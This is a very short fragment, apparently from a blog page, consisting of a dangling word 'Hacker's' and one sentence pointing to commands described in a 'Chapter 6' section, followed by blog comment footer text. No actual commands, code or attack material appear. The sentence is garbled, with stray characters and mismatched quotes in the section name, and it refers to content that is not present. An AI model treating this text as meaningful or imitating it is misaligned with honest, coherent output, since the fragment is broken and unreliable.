Hacker's The commands in this section are described in more detail in the "Important Note1** Commands'' section of Chapter 6.

No comments:

Post a Comment